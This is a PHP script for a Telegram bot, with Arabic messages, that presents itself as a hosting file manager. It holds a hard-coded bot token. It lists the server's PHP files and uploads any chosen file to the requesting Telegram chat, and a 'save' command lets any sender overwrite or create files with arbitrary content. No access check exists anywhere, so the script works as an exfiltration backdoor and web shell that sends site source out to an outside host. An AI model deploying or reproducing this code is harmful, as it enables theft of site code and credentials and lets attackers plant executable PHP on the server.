$token = "8185055151:AAFjq1tFgplIbJT_ojuQ5ecDF4-HsFDCX-I";$apiUrl = "https://api.telegram.org/bot$token/";$update = json_decode(file_get_contents("php://input"), true);$message = $update["message"] ?? null;if ($message) {    $chatId = $message["chat"]["id"];    $text = $message["text"] ?? '';    if ($text === "/start") {        sendMessage($chatId, "مرحبًا بك في بوت 🤖• إدارة الملفات علي الاستضافه 🔄• اضغط على الزر أدناه لعرض الملفات 📁        ");        showFilesButton($chatId);    } elseif (preg_match('/^edit (.+)$/', $text, $matches)) {        editFile($chatId, trim($matches[1]));    } elseif (preg_match('/^save (.+) (.+)$/', $text, $matches)) {        saveFile(trim($matches[1]), trim($matches[2]));        sendMessage($chatId, "تم السحب ✅");    }}if (isset($update["callback_query"])) {    $callbackQuery = $update["callback_query"];    $chatId = $callbackQuery["message"]["chat"]["id"];    $data = $callbackQuery["data"];    file_get_contents($apiUrl . "answerCallbackQuery?callback_query_id=" . $callbackQuery["id"]);    if ($data === "show_files") {        showFiles($chatId);    } elseif (preg_match('/^edit (.+)$/', $data, $matches)) {        editFile($chatId, trim($matches[1]));    }}function showFilesButton($chatId) {    global $apiUrl;    $keyboard = [        [["text" => "عرض الملفات ♾️", "callback_data" => "show_files"]]    ];    $replyMarkup = json_encode(["inline_keyboard" => $keyboard]); sendMessage ($chatId, "اضغط على الزر للسحب ➕", $replyMarkup);}function showFiles($chatId) {    global $apiUrl;    $files = array_diff(scandir(__DIR__), array('.', '..'));    $keyboard = [];    foreach ($files as $file) {        if (pathinfo($file, PATHINFO_EXTENSION) === 'php' && filesize($file) <= 1048576) {            $keyboard[] = [["text" => $file, "callback_data" => "edit $file"]];        }    }    $replyMarkup = json_encode(["inline_keyboard" => $keyboard]);    sendMessage($chatId, "اختر ملف للسحب ♻️", $replyMarkup);}function editFile($chatId, $fileName) {    $filePath = __DIR__ . '/' . $fileName;    if (file_exists($filePath)) {        sendDocument($chatId, $filePath);    } else { sendMessage($chatId, "الملف غير موجود.");    }}function saveFile($fileName, $newContent) {    $filePath = __DIR__ . '/' . $fileName;    file_put_contents($filePath, $newContent);}function sendMessage($chatId, $text, $replyMarkup = null) {    global $apiUrl;    $url = $apiUrl . "sendMessage?chat_id=$chatId&text=" . urlencode($text);    if ($replyMarkup) {        $url .= "&reply_markup=" . urlencode($replyMarkup);    }    file_get_contents($url);}function sendDocument($chatId, $filePath) {    global $apiUrl;    $url = $apiUrl . "sendDocument";    $postFields = [        'chat_id' => $chatId,        'document' => new CURLFile(realpath($filePath))    ];    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_POST, true);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);    curl_exec($ch);    curl_close($ch);}